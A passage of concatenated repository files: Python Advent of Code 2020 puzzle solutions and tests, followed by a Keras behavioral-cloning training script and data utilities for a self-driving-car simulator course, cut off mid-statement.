"./solution_test_2.debug", "code_fixer") solver("2", "./input.txt", "./solution_2.debug", "code_fixer") if __name__ == "__main__": main() <file_sep>/day_6/tests.py import pytest from day_6 import process_input def test_input(): value = """abc a b c""" result = process_input(value) assert list(map(list, result)) == [[{"a", "b", "c"}], [{"a"}, {"b"}, {"c"}]] <file_sep>/day_10/main.py from itertools import chain, groupby from math import prod from pathlib import Path from typing import Iterator, List, Tuple JoltageRating = int JoltageDifference = int Bag = List[JoltageRating] aux_combinations = {2: 2, 3: 4, 4: 7} def read_input(file_path: str) -> Bag: with Path(file_path).open() as input: return list(chain([0], map(int, input.read().splitlines()))) def generate_adapters_differences(adapters: Bag): sorted_adapters: List[Tuple[int, JoltageRating]] = list(enumerate(sorted(adapters))) grouped_adapters: List[Tuple[JoltageRating, JoltageRating]] = list( map(lambda x: (x[1], sorted_adapters[x[0] + 1][1]), sorted_adapters[:-1]) ) adapters_differences: List[JoltageDifference] = list( map(lambda x: x[1] - x[0], grouped_adapters) ) return adapters_differences def problem_1(adapters: Bag): adapters_differences: List[JoltageDifference] = generate_adapters_differences( adapters ) differences_3_jolds: List[JoltageDifference] = list( filter(lambda x: x == 3, adapters_differences) ) differences_1_jolds: List[JoltageDifference] = list( filter(lambda x: x == 1, adapters_differences) ) return len(differences_1_jolds) * (len(differences_3_jolds) + 1) def problem_2(adapters: Bag): adapters_differences: List[JoltageDifference] = generate_adapters_differences( adapters ) groups_of_ones: Iterator[Tuple[int, Iterator]] = filter( lambda x: x[0] == 1, groupby(adapters_differences) ) len_groups_of_ones: Iterator[int] = map(lambda x: len(list(x[1])), groups_of_ones) possible_combinations: Iterator[int] = map( lambda x: aux_combinations[x], filter(lambda x: x != 1, len_groups_of_ones) ) result = prod(possible_combinations) return result def main(): input_test_1 = read_input("./input_test_1.txt") input_test_2 = read_input("./input_test_2.txt") input_problem = read_input("./input.txt") print(f"Solution Test 1 Problem 1: {problem_1(input_test_1)}") print(f"Solution Test 2 Problem 1: {problem_1(input_test_2)}") print(f"Solution Problem 1: {problem_1(input_problem)}") print(f"Solution Test 1 Problem 2: {problem_2(input_test_1)}") print(f"Solution Test 2 Problem 2: {problem_2(input_test_2)}") print(f"Solution Problem 2: {problem_2(input_problem)}") if __name__ == "__main__": main() <file_sep>/day_3/utils.py import operator import re from functools import reduce from pathlib import Path from typing import Iterator, List, Optional password_regex = re.compile("^([0-9]+)-([0-9]+) ([a-z]): ([a-z]+)$") def read_input(input_file_path: str) -> List[str]: """ 10-11 g: jdgggcctgsg """ with Path(input_file_path).open() as input: return input.read().splitlines() <file_sep>/day_4/day_4.py import re from models import PassportValidator from utils import read_input, read_input_text def is_passport_valid(passport): required = [ "byr", "iyr", "eyr", "hgt", "hcl", "ecl", "pid", ] return all(map(lambda x: x in passport, required)) def solution(passports, validator): return len(list(filter(None, map(validator, passports)))) def solution_one_regex(passports): regex =( r"(" r"(?=.*byr:(?P<byr>(?:(?:19[2-9][0-9])|(?:200[0-2])))(?:\s|$))" r"(?=.*iyr:(?P<iyr>2(?:01[0-9]|020))(?:\s|$))" r"(?=.*eyr:(?P<eyr>2(?:02[0-9]|030))(?:\s|$))" r"(?=.*hgt:(?P<hgt>(1(?:[5-9][0-9]|9[0-3])cm|(?:59|6[0-9]|7[0-6])in))(?:\s|$))" r"(?=.*hcl:(?P<hcl>\#[0-9a-f]{6})(?:\s|$))" r"(?=.*ecl:(?P<ecl>(?:amb|blu|brn|gry|grn|hzl|oth))(?:\s|$))" r"(?=.*pid:(?P<pid>\d{9})(?:\s|$))" r")+" ) return len(list(re.finditer(regex, passports))) def main(): passports_1 = read_input("./input_1.txt") print(f"Solution 1: {solution(passports_1, is_passport_valid)}") passports_2 = read_input("./input_2.txt") passport_validator = PassportValidator() print(f"Solution 2: {solution(passports_2, passport_validator)}") passports_2 = read_input_text("./input_2.txt") print(f"Solution 3: {solution_one_regex(passports_2)}") if __name__ == "__main__": main() <file_sep>/day_5/tests.py import pytest from day_5 import get_coloumn, get_id, get_position, get_row @pytest.mark.parametrize("ticket,ticket_coloumn", [("RRR", 7), ("LLL", 0), ("RLL", 4)]) def test_get_coloumn(ticket, ticket_coloumn): assert get_coloumn(ticket) == ticket_coloumn @pytest.mark.parametrize( "ticket,ticket_row", [ ("BFFFBBF", 70), ("FFFBBBF", 14), ("BBFFBBF", 102), ("FFFFFFF", 0), ("BBBBBBB", 127), ("BBBBBBF", 126), ], ) def test_get_row(ticket, ticket_row): assert get_row(ticket) == ticket_row @pytest.mark.parametrize( "ticket,ticket_possition", [("BFFFBBFRRR", (70, 7)), ("FFFBBBFRRR", (14, 7)), ("BBFFBBFRLL", (102, 4))], ) def test_get_possition(ticket, ticket_possition): assert get_position(ticket) == ticket_possition <file_sep>/day_2/day_2.py from typing import Iterator from models import Password from utils import read_input def solution_1(passwords): return len(list(filter(lambda x: x.is_valid_1(), passwords))) def solution_2(passwords): return len(list(filter(lambda x: x.is_valid_2(), passwords))) def main(): passwords: Iterator[Password] = read_input("./input_1.txt") print(f"Solution 1: {solution_1(passwords)}") passwords: Iterator[Password] = read_input("./input_2.txt") print(f"Solution 2: {solution_2(passwords)}") if __name__ == "__main__": main() <file_sep>/day_1/benchmark.py import timeit from day1_v2 import solution as solution_2 from day_1 import solution as solution_1 from utils import read_input def test_1(): entries = read_input("./input_3.txt") solution_1(entries, 3) def test_2(): entries = read_input("./input_3.txt") solution_2(entries, 3) print("First Solution:") print(timeit.timeit("test_1()", setup="from __main__ import test_1", number=100)) print("Second Solution:") print(timeit.timeit("test_2()", setup="from __main__ import test_2", number=100))
70e656399e5ec48c1026a1f121a4a146bda6a4c8
[ "Markdown", "Python" ]
30
Python
albarralnunez/albarralnunez-advent-of-code-20
9ef24a48eaf4d77c58518e5e74c61a34c2e54245
a3847383c40b038270c6e95bf430349fab059736
refs/heads/master
<repo_name>mingyangya/drag<file_sep>/src/js/drag.js // todo 元素拖动 class DragEle { constructor() { this.defaultOpt = { deviation: 0,//误差3个像素 left: 0, top: 0, sourceEle: document.querySelector('.drag_block'), distEle: document.querySelector('.drag_body'), zoom: false, }; } init(opt) { this.opt = Object.assign({}, this.defaultOpt, opt); this.initParams(); this.render(); this.dragstart(); this.dropEle(); } getStyle(ele, style) { //todo 获取元素样式 return ele.currentStyle ? ele.currentStyle[style] : window.getComputedStyle(ele, null)[style]; } initParams() { this.distEleW = this.opt.distEle.clientWidth - Math.round(this.getStyle(this.opt.distEle, 'padding-left').split('px')[0]) - Math.round(this.getStyle(this.opt.distEle, 'padding-right').split('px')[0]); this.distEleH = this.opt.distEle.clientHeight - Math.round(this.getStyle(this.opt.distEle, 'padding-top').split('px')[0]) - Math.round(this.getStyle(this.opt.distEle, 'padding-bottom').split('px')[0]); this.sourceEleW = this.opt.sourceEle.clientWidth - Math.round(this.getStyle(this.opt.sourceEle, 'padding-left').split('px')[0]) - Math.round(this.getStyle(this.opt.sourceEle, 'padding-right').split('px')[0]); this.sourceEleH = this.opt.sourceEle.clientHeight - Math.round(this.getStyle(this.opt.sourceEle, 'padding-top').split('px')[0]) - Math.round(this.getStyle(this.opt.sourceEle, 'padding-bottom').split('px')[0]); this.getTruePoint(); return { distEleW: this.distEleW, distEleH: this.distEleH, sourceEleW: this.sourceEleW, sourceEleH: this.sourceEleH } } getTruePoint() { this.safePos = { x: [0 + Math.round(this.getStyle(this.opt.distEle, 'padding-left').split('px')[0]), this.distEleW - this.sourceEleW], y: [0 + Math.round(this.getStyle(this.opt.distEle, 'padding-top').split('px')[0]), this.distEleH - this.sourceEleH] } // 安全区域 return this.safePos; } render() { const _position = ['relative', 'absolute', 'fixed', 'sticky']; // 初始化包裹元素的位置 (!_position.includes(this.getStyle(this.opt.distEle, 'position'))) && (this.opt.distEle.style.position = _position[0]); // 初始化拖动元素的位置 (this.getStyle(this.opt.sourceEle, 'position') !== _position[1]) && (this.opt.sourceEle.style.position = _position[1]); const { safe, top2, left2 } = this.handlePos({ x: Math.round(this.getStyle(this.opt.sourceEle, 'left').split('px')[0]), y: Math.round(this.getStyle(this.opt.sourceEle, 'top').split('px')[0]) }) !safe && (this.opt.sourceEle.style.top = top2 + 'px') && (this.opt.sourceEle.style.left = left2 + 'px') if (this.opt.zoom) { //放大,缩小功能 this.opt.sourceEle.style.resize = "both"; this.opt.sourceEle.style.overflow = "auto"; } } // 转换位置,使其在安全范围内 handlePos(pos = { x: 0, y: 0 }) { let left2 = 0, top2 = 0, safe = true;// 安全区域 if ((pos.x >= this.safePos.x[0]) && (pos.x <= this.safePos.x[1])) { console.log("x在区间内") left2 = pos.x; } else { console.error("x不在区间内") left2 = pos.x < this.safePos.x[0] ? this.safePos.x[0] : this.safePos.x[1]; safe = false; } if ((pos.y >= this.safePos.y[0]) && (pos.y <= this.safePos.y[1])) { console.log("y在区间内") top2 = pos.y } else { console.error("y不在区间内") safe = false; top2 = pos.y < this.safePos.y[0] ? this.safePos.y[0] : this.safePos.y[1]; } return { left2, top2, safe } } dragstart() { //监听拖拽元素开始事件 this.opt.sourceEle.ondragstart = (e) => { let ele = e.target; if (ele.nodeName === "IMG") { ele = ele.parentNode; // e.preventDefault(); } const data = { className: ele.className, w: ele.clientWidth, h: ele.clientHeight, top: Math.round(this.getStyle(this.opt.sourceEle, 'top').split('px')[0]), left: Math.round(this.getStyle(this.opt.sourceEle, 'left').split('px')[0]), point: { x: e.clientX, y: e.clientY } }; console.log("+++开始坐标top,left", data.top, data.left,'+++') e.dataTransfer.setData("Text", JSON.stringify(data)); }; } dragover() { this.opt.distEle.ondragover = function (e) { e.preventDefault(); }; } dropEle() { this.dragover(); const that = this; this.opt.distEle.ondrop = function (e) { e.preventDefault(); if (e.type === "drop") { const dragData = e.dataTransfer.getData("Text"), args = JSON.parse(dragData), { top, left } = args, x1 = args.point.x, // 拖动前的位置坐标 x y1 = args.point.y, // 拖动前的位置坐标 y distance = { x: e.clientX - x1, // 偏移量x y: e.clientY - y1 // 偏移量y } const { left2, top2 } = that.handlePos({ x: left + distance.x, y: top + distance.y }); console.log("---结束坐标top,left", top2, left2,'---') // 拖拽完成后的方法 that.opt.dropCb && that.opt.dropCb({ left: left2, top: top2, w: that.sourceW, h: that.sourceH }); } }; } // zoom(sourceEle) { // } } const drag=new DragEle(); // export { // drag // }; <file_sep>/README.md # drag 原生拖拽drag ## 安装 ``` npm install ``` ### 运行 ``` npm run start ``` ### 查看效果 浏览器输入:[http://localhost:8000](http://localhost:8000/)
e875e395d95f53a72b78ec09310cb05ede97d327
[ "JavaScript", "Markdown" ]
2
JavaScript
mingyangya/drag
79d9f2f4389571850226cf17b7f89d6e3bb79024
310dd3179b2e7df451451686bbaaa5c383b5c8d8
refs/heads/main
<repo_name>VladGrigorovich/angular-test-project<file_sep>/src/app/random-quote/random-quote.component.ts import { Component, OnInit } from '@angular/core'; import { FormControl, FormGroup } from '@angular/forms'; import { QuoteService } from '../quote.service'; import { RandomQuoteProps } from '../shared/interfaces/random-quote-props'; import { Quote } from '../shared/interfaces/quote'; @Component({ selector: 'app-random-quote', templateUrl: './random-quote.component.html', styleUrls: ['./random-quote.component.scss'], }) export class RandomQuoteComponent implements OnInit { public isLoadingQuote = false; public quote: Quote; public categories: string[]; public form: FormGroup; constructor(private readonly quoteService: QuoteService) {} ngOnInit(): void { this.quoteService.getCategories().subscribe( (c) => { this.categories = c; this.createFormGroup(); }, (e) => { console.error(e); }, ); } createFormGroup() { this.form = new FormGroup({ name: new FormControl(null), categories: new FormControl(null), }); } onSubmit() { const props: RandomQuoteProps = { ...this.form.value }; this.isLoadingQuote = true; this.quoteService.getRandomQuote(props).subscribe( (q) => { this.isLoadingQuote = false; this.quote = q; }, (e) => { console.error(e); }, ); } } <file_sep>/src/app/shared/interfaces/random-quote-props.ts export interface RandomQuoteProps { name?: string; categories?: string[]; } <file_sep>/src/app/search-quote/search-quote.component.ts import { Component, ViewChild } from '@angular/core'; import { Quote } from '../shared/interfaces/quote'; import { QuoteService } from '../quote.service'; import { MatTableDataSource } from '@angular/material/table'; import { MatSort } from '@angular/material/sort'; import { state, style, transition, trigger, animate } from '@angular/animations'; import { FormControl, FormGroup, Validators } from '@angular/forms'; @Component({ selector: 'app-search-quote', templateUrl: './search-quote.component.html', styleUrls: ['./search-quote.component.scss'], animations: [ trigger('detailExpand', [ state('collapsed, void', style({ height: '0px', minHeight: '0' })), state('expanded', style({ height: '*' })), transition( 'expanded <=> collapsed, void => expanded', animate('225ms cubic-bezier(0.4, 0.0, 0.2, 1)'), ), ]), ], }) export class SearchQuoteComponent { public form = new FormGroup({ query: new FormControl(null, [ Validators.required, Validators.minLength(3), Validators.maxLength(120), ]), }); public displayedColumns = ['id', 'categories', 'created_at']; public isLoadingQuotes = false; public dataSource = new MatTableDataSource<Quote>(); public expandedQuote: Quote; @ViewChild(MatSort) set sort(s: MatSort) { this.dataSource.sort = s; } constructor(private readonly quoteService: QuoteService) {} public onSubmit() { if (this.form.invalid) { return; } this.isLoadingQuotes = true; this.quoteService.searchQuotes(this.form.get('query').value).subscribe( (r) => { this.dataSource.data = r.result; this.isLoadingQuotes = false; }, (e) => { console.error(e); }, ); } } <file_sep>/src/app/quote.service.ts import { Injectable } from '@angular/core'; import { Observable } from 'rxjs'; import { HttpClient } from '@angular/common/http'; import { Quote } from './shared/interfaces/quote'; import { RandomQuoteProps } from './shared/interfaces/random-quote-props'; import { environment } from '../environments/environment'; import { SearchQuotesResponse } from './shared/interfaces/search-quotes-response'; @Injectable({ providedIn: 'root', }) export class QuoteService { constructor(private readonly httpClient: HttpClient) {} public getRandomQuote(props: RandomQuoteProps): Observable<Quote> { let url = `${environment.api.chuck}/jokes/random?`; if (props.name && props.name.length > 0) { url += `name=${props.name}&`; } if (props.categories && props.categories.length > 0) { const categoriesQuery = props.categories.join(','); url += `categories=${categoriesQuery}&`; } return this.httpClient.get<Quote>(url); } public searchQuotes(query: string): Observable<SearchQuotesResponse> { const url = `${environment.api.chuck}/jokes/search?query=${query}`; return this.httpClient.get<SearchQuotesResponse>(url); } public getCategories(): Observable<string[]> { const url = `${environment.api.chuck}/jokes/categories`; return this.httpClient.get<string[]>(url); } } <file_sep>/src/app/shared/interfaces/search-quotes-response.ts import { Quote } from './quote'; export interface SearchQuotesResponse { result: Quote[]; total: number; } <file_sep>/src/environments/environment.ts export const environment = { production: false, api: { chuck: 'https://api.chucknorris.io' } };
1b50727032ea51b6957151d2695bb1d15f8af650
[ "TypeScript" ]
6
TypeScript
VladGrigorovich/angular-test-project
278b84f33dc63d3851f21db344d519342f7c9b86
5c58b5b10e4cbb2458a914a1d71795cc1e146255
refs/heads/gh-pages
<repo_name>pablolezcano/pablolezcano.github.io<file_sep>/pages/github.js import Layout from "../components/Layout"; const Github = ({user}) => { return ( <Layout> <div className="row"> <div className="col-md-4 offset-md-4"> <div className="card card-body text-center"> <h1>{user.name}</h1> <img src={user.avatar_url}/> <p>{user.bio}</p> </div> </div> </div> </Layout> ) } export async function getServerSideProps(){ const rest = await fetch('https://api.github.com/users/pablolezcano') const data = await rest.json(); return { props: { user: data } } } export default Github;<file_sep>/pages/index.js import Layout from "../components/Layout"; import {experiences, projects, skills,skillBackEnd, skillFrontEnd, otherSkill} from "../profile"; import Link from "next/link"; import Rings from "../components/Rings"; const Index = () => ( <Layout> {/** header */} {/**} <header className="row"> <div className="col-md-12"> <div className="row"> <div className="col-md-4"> <img src="/profile.jpeg" alt="" className="img-fluid" /> </div> <div className="col-md-8"> <h3>Desarrollador JS</h3> <p>Lorem ipsum dolor sit amet consectetur, adipisicing elit. Facere optio itaque non autem consequuntur modi, aliquid eum? Neque sapiente impedit iste ratione molestias, nostrum omnis similique autem, inventore, sint dolorem!</p> <a href="/contacto">Contactame</a> </div> </div> </div> </header> {/** Segunda seccion */} {/** Sobre mi */} <div id="sobre-mi" className="row"> <div className="col-md-12"> <h1 className="text-center text-dark">Sobre mi</h1> <div className="card-custom"> <div className="row"> <div className="col-md-12 p-3"> <p className="p-4">Actualmente desarrollo web, git, crear aplicaciones de escritorio, frameworks y otras Tecnologías.</p> </div> </div> </div> </div> </div> {/** Habilidades */} <div className="row py-2"> <div className="col-md-12"> <h1 id="habilidades" className="text-center text-dark">Habilidades</h1> <div className="card-custom p-4"> <h3>Lenguajes de programación</h3> <div className="container d-flex flex-wrap align-items-center p-3"> { skills.map(({skill ,image}, i) => ( <div class="m-2 card-small-c" key={i}> <img src={`${image}`} alt={`${skill}`} width="50%" height="auto"/> </div> )) } </div> <h3>Frontend</h3> <div className="container d-flex flex-wrap align-items-center p-3"> { skillFrontEnd.map(({skill ,image}, i) => ( <div class="m-2 card-small-c" key={i}> <img src={`${image}`} alt={`${skill}`} width="50%" height="auto"/> </div> )) } </div> <h3>Backend</h3> <div className="container d-flex flex-wrap align-items-center p-3"> { skillBackEnd.map(({skill ,image}, i) => ( <div class="m-2 card-small-c" key={i}> <img src={`${image}`} alt={`${skill}`} width="50%" height="auto"/> </div> )) } </div> <h3>Otras herramientas</h3> <div className="container d-flex flex-wrap align-items-center p-3"> { otherSkill.map(({skill ,image}, i) => ( <div class="m-2 card-small-c" key={i}> <img src={`${image}`} alt={`${skill}`} width="50%" height="auto"/> </div> )) } </div> </div> </div> </div> {/** Portfolio */} <div className="row"> <div className="col-md-12"> <h1 id="proyectos" className="text-center text-dark">Proyectos</h1> <div className="card-custom p-4"> <div className="row"> { projects.map(({name, description, image,tech,github,view }, i) =>( <div className="p-4 mb-3" > <div className="row g-0"> <div className="col-md-4"> <img src={`/${image}`} class="card-img-top h-100" alt="..."/> </div> <div className="col-md-8"> <div className="card-body "> <h5 className="card-title">{name}</h5> <p className="card-text">{description}</p> <h5>Tecnologías utilizadas</h5> <div className="p-3" > <span className="badge bg-secondary">{tech}</span> </div> <div className="text-center text-md-start"> <div className="p-3"> <span className="p-3"> <a href={github} target="_blank" className=" btn btn-outline-secondary">Github</a> </span> <span className="p-3"> <a href={`/${github}`} target="_blank" className="btn btn-outline-secondary">Visitar</a> </span> </div> </div> </div> </div> </div> </div> )) } </div> </div> </div> </div> {/** Contacto */} <div className="row"> <div className="col-md-12"> <h1 className="text-center text-dark">Contacto</h1> <div className="card-custom"> <div className="row"> <div className="col-md-12 p-5" > <div className="row"> <div className="col"> <div className="card-small-b"> <h5>@pabloromanlezcano</h5> </div> </div> <div className="col"> <div className="card-small-b">/in/pablolezcano</div> </div> <div className="w-100"></div> <div className="col"> <div className="card-small-b"> Curriculum Vitae </div> </div> <div className="col"> <div className="card-small-b"> Github </div> </div> </div> </div> </div> </div> </div> </div> </Layout> ) export default Index;<file_sep>/profile.js import { imageConfigDefault } from "next/dist/shared/lib/image-config" export const experiences = [ { title: 'Analista de Mesa de Ayuda', description: 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque ac mi euismod, malesuada odio vitae, accumsan tortor. Aliquam bibendum ac ipsum sit amet placerat. In hac habitasse platea dictumst. Donec scelerisque metus tortor, quis semper ex dictum sed. ', from: 2021, to: 2022 }, { title: 'Desarrollador Front End - Freelance', description: 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque ac mi euismod, malesuada odio vitae, accumsan tortor. Aliquam bibendum ac ipsum sit amet placerat. In hac habitasse platea dictumst. ', from: 2018, to: 2020 } ] export const projects = [ { name: 'Proyecto 1', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', tech: "react", image: "project1.jpg", github: "https://github.com/pablolezcano/pablolezcano.github.io", view: "http://pablolezcano.com.ar/" }, { name: 'Proyecto 1', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', tech: "JS Vanilla", image: "project2.png", github: "", view: "", }, { name: 'Proyecto 1', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', tech: "Electron", image: "project3.png", github: "", view: "" }, { name: 'Proyecto 1', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', tech: "Electron", image: "project4.jpg", github: "", view: "" }, ] export const skills = [ { skill: 'Javascript', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "javascript.svg", }, { skill: 'Python', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "python.svg", }, ] export const skillBackEnd = [ { skill: 'Node.JS', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "node-dot-js.svg", }, { skill: 'mysql', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "mysql.svg", }, { skill: 'Electron', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "electron.svg", }, { skill: 'mongoDB', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "mongoDB.svg", } ] export const skillFrontEnd = [ { skill: 'html', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "html5.svg", }, { skill: 'css3', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "css3.svg", }, { skill: 'react', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "react.svg", }, { skill: 'bootstrap', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "bootstrap.svg", }, ] export const otherSkill = [ { skill: 'Git', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "git.svg", }, { skill: 'npm', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "npm.svg", }, { skill: 'Figma', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "figma.svg", }, { skill: 'Adobe Illustator', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "adobeillustrator.svg", }, { skill: 'Adobe Photoshop', description: ' Lore Lorem Lorm Loremm LLoremLorem Lorem ', image: "adobephotoshop.svg", } ]
9724ba93702f5d10d320582f7c4d28daf7f4bcca
[ "JavaScript" ]
3
JavaScript
pablolezcano/pablolezcano.github.io
c5216809316b6b30247ef40cffee18d17e49cc2e
c96c67d11a9c12992b135f70be787e0fa6d42d85
refs/heads/master
<repo_name>athpud/prime_palette<file_sep>/requirements.txt numpy==1.19.2 pandas==1.2.3 seaborn==0.11.1 streamlit==0.78.0 matplotlib==3.3.4 <file_sep>/prime_dash.py import numpy as np import pandas as pd import seaborn as sns import matplotlib.pyplot as plt import streamlit as st import random from prime_factors import * #Overall title st.sidebar.title("Prime Palette") #Sidebar title #Pick a number st.sidebar.write('Choose the range of numbers to visualize:') chosen_num = st.sidebar.slider('', 2, 100, 50) num_prime_df = prime_df(chosen_num) unique_primes = num_prime_df.Primes.unique() #Pick a color #Streamlit's sharing deployment currently d/n allow choosing color values #st.sidebar.write("Chooose two colors for your visualization") #chosen_color_1 = st.sidebar.color_picker("Click square below to pick the first color:") #st.sidebar.write(chosen_color_1) #chosen_color_2 = st.sidebar.color_picker("Click square below to pick the second color:") #st.sidebar.write(chosen_color_2) #Switch up colors color_pairs = [['#06770a', '#fbee04'], ['#0416f7', '#fb7d04'], ['#a6b1f1', '#fb04f7'], ['#e25e71', '#fbe984'],['#38b777','#c448ef']] #st.sidebar.write("Switch up the colors for your visualization") push_or_not = st.sidebar.button('Click here to switch up the colors!') if push_or_not == True: int_dice = random.randint(0, 4) color_1 = color_pairs[int_dice][0] color_2 = color_pairs[int_dice][1] else: color_1 = '#06770a' color_2 = '#fbee04' #Create a pallette from the randomly chosen or default colors cmap = sns.blend_palette([color_1, color_2],n_colors=max(num_prime_df.Powers)) rc={'axes.labelsize': 15, 'axes.titlesize': 15, 'legend.title_fontsize': 10, 'legend.fontsize': 7, 'xtick.labelsize': 3.5, 'ytick.labelsize': 7, 'font.size': 15} sns.set(rc=rc) sns.set_style("whitegrid") g = sns.relplot( data=num_prime_df, x="Numbers", y="Primes", hue="Powers", size="Powers", palette=cmap, sizes=(20, 100), facet_kws={"legend_out": True}) g.set(xticks=list(range(1, chosen_num+1)), yticks=list(unique_primes)) plt.xticks(rotation=90) plt.tick_params(pad=0) st.pyplot(g)<file_sep>/prime_factors.py import numpy as np import pandas as pd def prime_factors(number): """ Returns a list of prime factors of an input number. """ prime_factors = [] x = 333 dividend = number divisor = 2 while x == 333: if dividend == 1: return prime_factors else: if dividend % divisor == 0: prime_factors.append(divisor) dividend = dividend/divisor else: divisor += 1 def prime_df(number): """ Returns a list of prime factors of a range of numbers from 2 to the input number. """ num_prime_array = np.array(([2, 2, 1])) if number > 2: for this_num in range(3, number+1): num_primes = prime_factors(this_num) #saving out numbers' unique primes and their counts into a dataframe: if this_num > 1: unique, counts = np.unique(num_primes, return_counts=True) freq = np.asarray((list(unique), list(counts))).T num_id = np.array([[this_num] * len(freq)]).T num_id_unique_counts = np.hstack((num_id, freq)) num_prime_array = np.vstack((num_prime_array, num_id_unique_counts)) num_prime_df = pd.DataFrame(num_prime_array) else: num_prime_df = pd.DataFrame([num_prime_array], index=[0]) num_prime_df.columns = ['Numbers', 'Primes', 'Powers'] return num_prime_df <file_sep>/README.md # Prime Palette A tiny app project to flex my creativity muscles and use Streamlit's new publically shareable dashboards. ### Read more about the project here: https://athpud.medium.com/prime-palette-56ea2153f42e ### Use the app here: https://share.streamlit.io/athpud/prime_palette/prime_dash.py
0b8d6832de806fb7169ee31ef599bb31a8798fd1
[ "Markdown", "Python", "Text" ]
4
Text
athpud/prime_palette
7ff78552dbb1ae53a3957ea337d044ccd58c62a9
ee847f93b2d12ff2ded66f7f54ea7f55cdc3b2ab
refs/heads/master
<repo_name>Karfann/the-net-ninja-tutorial<file_sep>/src/app/data.service.ts import { Injectable } from '@angular/core'; import { Http } from "@angular/http"; import { Observable } from 'rxjs/Rx'; import 'rxjs/add/operator/catch'; import 'rxjs/add/operator/map'; @Injectable() export class DataService { constructor( private http: Http ) { } fetchData(){ return this.http.get("https://nn-angular-ae36e.firebaseio.com/.json") .map((res) => res.json()); } }
57f47d34b9be77098e54539399cb47ea061ed6b2
[ "TypeScript" ]
1
TypeScript
Karfann/the-net-ninja-tutorial
84409621326043651e7efb20e56f73b5fbd88aef
5b5d6d67b334395571226bb261cd39ee3f47910f
refs/heads/master
<file_sep>import numpy as np import os import csv from functools import partial, reduce from keras.utils import Sequence from sklearn.utils import shuffle import cv2 add_correction = lambda c, x: x + c flip_image = lambda image: np.fliplr(image) flip_steering = lambda steering: -1 * steering def build_fit_dataset(data_path): dataset = [] correction = .2 data_path = os.path.abspath(data_path) with open(os.path.join(data_path, "driving_log.csv")) as read_file: reader = csv.reader(read_file) next(reader, None) for center,left,right,steering,throttle,brake,speed in reader: dataset.append((os.path.join(data_path, center.strip()), [cv2.imread], float(steering), [])) dataset.append((os.path.join(data_path, left.strip()), [cv2.imread], float(steering), [partial(add_correction, correction)])) dataset.append((os.path.join(data_path, right.strip()), [cv2.imread], float(steering), [partial(add_correction, -1 * correction)])) dataset.append((os.path.join(data_path, center.strip()), [cv2.imread, flip_image], float(steering), [flip_steering])) dataset.append((os.path.join(data_path, left.strip()), [cv2.imread, flip_image], float(steering), [partial(add_correction, correction), flip_steering])) dataset.append((os.path.join(data_path, right.strip()), [cv2.imread, flip_image], float(steering), [partial(add_correction, -1 * correction), flip_steering])) return dataset class CarNDBehavioralCloningSequence(Sequence): def __init__(self, dataset, batch_size): self.dataset = shuffle(dataset) self.batch_size = batch_size def __len__(self): return len(self.dataset) // self.batch_size def __getitem__(self, idx): batch = self.dataset[idx * self.batch_size:(idx + 1) * self.batch_size] X = np.array([reduce(lambda x, func: func(x), sample[1], sample[0]) for sample in batch]) y = np.array([reduce(lambda x, func: func(x), sample[3], sample[2]) for sample in batch]) return X, y def on_epoch_end(self): pass def dataset_generator(dataset, batch_size): while 1: shuffle_dataset = shuffle(dataset) for start in range(0, len(shuffle_dataset), batch_size): batch = shuffle_dataset[start: start + batch_size] X = np.array([reduce(lambda x, func: func(x), sample[1], sample[0]) for sample in batch]) y = np.array([reduce(lambda x, func: func(x), sample[3], sample[2]) for sample in batch]) yield X, y <file_sep>import argparse import os from utils import build_fit_dataset from utils import CarNDBehavioralCloningSequence as Sequence from sklearn.model_selection import train_test_split from keras.models import Sequential from keras.layers import Flatten, Dense, Lambda, Cropping2D, Conv2D, Dropout, MaxPooling2D from keras import backend as K def pre_process(x): """Create YUV planes and grayscale and concatenate them""" grayscale = K.mean(x, [3], keepdims=True) grayscale = (grayscale - 128.) / 128. return grayscale def build_model(input_shape): """Build sequential model based on NVIDIA architecture.""" model = Sequential() model.add(Cropping2D(((50,20), (0,0)), input_shape=input_shape)) model.add(Lambda(pre_process)) model.add(Conv2D(24, [5, 5], padding="valid", activation="relu")) model.add(MaxPooling2D()) model.add(Conv2D(36, [5, 5], padding="valid", activation="relu")) model.add(MaxPooling2D()) model.add(Conv2D(48, [5, 5], padding="valid", activation="relu")) model.add(MaxPooling2D()) # Dropout layers for better generalization model.add(Dropout(.1)) model.add(Conv2D(64, [3, 3], padding="valid", activation="relu")) model.add(MaxPooling2D()) model.add(Conv2D(64, [2, 2], padding="valid", activation="relu")) # Dropout layers for better generalization model.add(Dropout(.1)) model.add(Flatten()) model.add(Dense(100)) model.add(Dense(50)) # Dropout layers for better generalization model.add(Dropout(.1)) model.add(Dense(10)) model.add(Dense(1)) return model if __name__ == "__main__": parser = argparse.ArgumentParser(description="Train Driver") parser.add_argument( "-d", type=str, help="Path to train data.", dest="data_path" ) parser.add_argument( "-b", type=int, help="Batch size", default=128, nargs="?", dest="batch_size" ) parser.add_argument( "-e", type=int, help="epochs", default=2, nargs="?", dest="epochs" ) parser.add_argument( "-l", type=str, help="model_weights", nargs="?", dest="model_weights" ) parser.add_argument( "-o", type=str, help="model_output", nargs="?", dest="model_output", default="model.h5", ) args = parser.parse_args() # Buld model model = build_model((160, 320, 3)) # Load weights and variables for transfer learning if args.model_weights is not None: model.load_weights(args.model_weights, by_name=True) # Compiles code and sumarry model.compile(loss="mse", 